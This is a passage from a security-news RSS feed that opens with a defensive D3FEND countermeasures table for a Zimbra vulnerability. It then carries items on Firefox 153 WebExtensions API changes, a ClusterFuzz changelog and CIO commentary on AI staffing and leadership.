<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[WorldMonitor holt die Weltlage ins eigene Heimnetz]]></title>
<description><![CDATA[WorldMonitor mit Docker, Lemonade, NPU & Tailscale im Test. So entsteht eine private Informationsfläche mit lokaler KI und Datenimporten.
Der Artikel WorldMonitor holt die Weltlage ins eigene Heimnetz erschien zuerst auf TARNKAPPE.INFO]]></description>
<link>https://tsecurity.de/de/3689397/malware-trojaner-viren/worldmonitor-holt-die-weltlage-ins-eigene-heimnetz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689397/malware-trojaner-viren/worldmonitor-holt-die-weltlage-ins-eigene-heimnetz/</guid>
<pubDate>Thu, 23 Jul 2026 16:51:20 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>WorldMonitor mit Docker, Lemonade, NPU &amp; Tailscale im Test. So entsteht eine private Informationsfläche mit lokaler KI und Datenimporten.</p>
<p>Der Artikel <a href="https://tarnkappe.info/test/worldmonitor-holt-die-weltlage-ins-eigene-heimnetz-331711.html">WorldMonitor holt die Weltlage ins eigene Heimnetz</a> erschien zuerst auf <a href="https://tarnkappe.info/">TARNKAPPE.INFO</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Addons Blog: Firefox 153 WebExtensions API updates]]></title>
<description><![CDATA[We had a bumper release of WebExtensions API updates in Firefox 153. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: userScripts.execute() and the new publicSuffix API. We’re covering those con...]]></description>
<link>https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</guid>
<pubDate>Thu, 23 Jul 2026 16:06:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We had a bumper release of <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">WebExtensions API updates in Firefox 153</a>. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: <span>userScripts.execute()</span> and the new <span>publicSuffix</span> API. We’re covering those contributions in more depth, including the people behind them, in a separate post. And there is more, read on…</p>
<h3><b>File access now requires a dedicated permission</b></h3>
<p>Extensions that need to read <span>file://</span> URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.</p>
<p>This change has a few concrete effects on code:</p>
<ul>
<li><b>Before:</b> an extension with <span>&lt;all_urls&gt;</span> or a matching host permission could read <span>file://</span> pages without any additional grant, and <span>extension.isAllowedFileSchemeAccess()</span> always returned <span>false</span> regardless of the permission setting.</li>
<li><b>After:</b> the extension must have the new file-access permission granted, and <span>extension.isAllowedFileSchemeAccess()</span> correctly reflects whether the user has granted it.</li>
</ul>
<pre>async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}</pre>
<p><span>devtools.inspectedWindow.eval()</span> calls targeting <span>file://</span> URLs are affected the same way; they now require this permission to succeed.</p>
<p>If your extension depends on <span>file://</span> access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (<span>options_ui</span>) and calling <span>browser.runtime.openOptionsPage()</span> to open <span>about:addons</span> and including instructions to toggle the setting in the “Permissions and data” tab.</p>
<h3><b>userScripts.execute() and publicSuffix: covered in our next post</b></h3>
<p>Firefox 153 adds two community-contributed APIs:</p>
<ul>
<li><span>userScripts.execute()</span>, which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based <span>userScripts.register()</span>.</li>
<li><span>publicSuffix</span>, which enables synchronous lookups against the browser’s built-in <a href="https://publicsuffix.org/">Public Suffix List</a> using <span>publicSuffix.isKnownSuffix()</span>, <span>publicSuffix.getKnownSuffix()</span>, and <span>publicSuffix.getDomain()</span>. This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).</li>
</ul>
<p>Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.</p>
<h3><b>documentId support across more APIs</b></h3>
<p>Firefox 153 introduces <span>documentId</span>, a stable identifier for a document instance, including a new <span>runtime.getDocumentId()</span> method, several <span>webNavigation</span> events and methods, <span>webRequest</span> events, scripting injection targets, and the extension messaging APIs.</p>
<p>Many WebExtension APIs use <span>tabId</span> and <span>frameId</span> to identify where to perform an operation. However, because <span>frameId</span> identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. <span>documentId</span> addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.</p>
<p>See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_documentId">Work with documentId</a> for the full list of supported events and methods, along with guidance on using it.</p>
<h3><b>Content scripts can read and modify adopted stylesheets</b></h3>
<p>Content scripts can now access <span>document.adoptedStyleSheets</span> and <span>ShadowRoot.adoptedStyleSheets</span> directly.</p>
<pre>const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];</pre>
<p>This enables extensions to inspect or modify constructed stylesheets from a content script, without using <span>.wrappedJSObject</span>, a workaround that risks interference from the web page.</p>
<h3><b>Theme manifest key: gradients in additional backgrounds</b></h3>
<p>The <span>theme</span> manifest key’s <span>images.additional_backgrounds</span> property now accepts CSS gradients alongside image URLs. A new <span>properties.additional_backgrounds_size</span> property controls the size of each additional background item.</p>
<h3><b>Contextual identities (containers)</b></h3>
<p>If your extension supports contextual identities, you now have access to two new methods: <span>contextualIdentities.getSupportedColors()</span> and <span>contextualIdentities.getSupportedIcons()</span>. These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.</p>
<p>Also, the colors have been updated to align with the new UI theme: <span>“turquoise”</span> is now <span>“cyan”</span>, <span>“toolbar”</span> is now <span>“gray”</span>, and <span>“violet”</span> has been added. The old names still work for backward compatibility, but your extension should switch to using <span>getSupportedColors()</span> rather than hardcoding either the old or new names.</p>
<h3><b>Add a build-for-amo script</b></h3>
<p>While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.</p>
<p>For now, this applies only if you submit source code that includes a <span>package.json</span> file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.</p>
<p>So, if your extension’s source code uses a <span>package.json</span> file, add an <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">npm script</a> named <span>build-for-amo</span> that runs the commands needed to build your extension for Firefox:</p>
<pre>{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}</pre>
<p>If you’ve a Firefox-specific build command, just point <span>build-for-amo</span> at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the <span>package.json</span> file.</p>
<hr>
<p>For more information, including documentation and Bugzilla links, see the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">Changes for add-on developers</a> section of the Firefox 153 for developers release notes on MDN.</p>
<p>As always, file extension-related issues on <a href="https://bugzilla.mozilla.org/">Bugzilla</a> under the WebExtensions product, cross-browser API proposals are discussed in the <a href="https://github.com/w3c/webextensions">W3C WebExtensions Community Group</a>, and questions are welcome on the <a href="https://discourse.mozilla.org/c/add-ons/35">Add-ons Discourse</a>.</p>
<p> </p>
<p>The post <a href="https://blog.mozilla.org/addons/2026/07/23/firefox-153-webextensions-api-updates/">Firefox 153 WebExtensions API updates</a> appeared first on <a href="https://blog.mozilla.org/addons">Mozilla Add-ons Community Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.2]]></title>
<description><![CDATA[What's Changed

Remove .exe on targets before appending .runtime_deps by @notvictorl in #5372
symbolizer: Temporarily increase llvm-symbolizer cache size on macOS by @g-ortuno in #5374

Full Changelog: v2.35.1...v2.35.2]]></description>
<link>https://tsecurity.de/de/3689247/it-security-tools/v2352/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689247/it-security-tools/v2352/</guid>
<pubDate>Thu, 23 Jul 2026 15:58:00 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Remove .exe on targets before appending .runtime_deps by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/notvictorl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/notvictorl">@notvictorl</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4941989702" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5372" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5372/hovercard" href="https://github.com/google/clusterfuzz/pull/5372">#5372</a></li>
<li>symbolizer: Temporarily increase llvm-symbolizer cache size on macOS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950214194" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5374" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5374/hovercard" href="https://github.com/google/clusterfuzz/pull/5374">#5374</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.35.1...v2.35.2"><tt>v2.35.1...v2.35.2</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Thu, 23 Jul 2026 15:06:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI behind Hugging Face hack, TrickBot tunnels through DNS, Acrobat extension opens WhatsApp]]></title>
<description><![CDATA[OpenAI behind Hugging Face hack TrickBot tunnels through DNS Acrobat extension opens WhatsApp Get the show notes here: Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data, triggering workflows, changing systems. QuilrAI is…
Read more →
The post OpenAI behind...]]></description>
<link>https://tsecurity.de/de/3688989/it-security-nachrichten/openai-behind-hugging-face-hack-trickbot-tunnels-through-dns-acrobat-extension-opens-whatsapp/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688989/it-security-nachrichten/openai-behind-hugging-face-hack-trickbot-tunnels-through-dns-acrobat-extension-opens-whatsapp/</guid>
<pubDate>Thu, 23 Jul 2026 14:15:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI behind Hugging Face hack TrickBot tunnels through DNS Acrobat extension opens WhatsApp Get the show notes here: Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data, triggering workflows, changing systems. QuilrAI is…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openai-behind-hugging-face-hack-trickbot-tunnels-through-dns-acrobat-extension-opens-whatsapp/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openai-behind-hugging-face-hack-trickbot-tunnels-through-dns-acrobat-extension-opens-whatsapp/">OpenAI behind Hugging Face hack, TrickBot tunnels through DNS, Acrobat extension opens WhatsApp</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



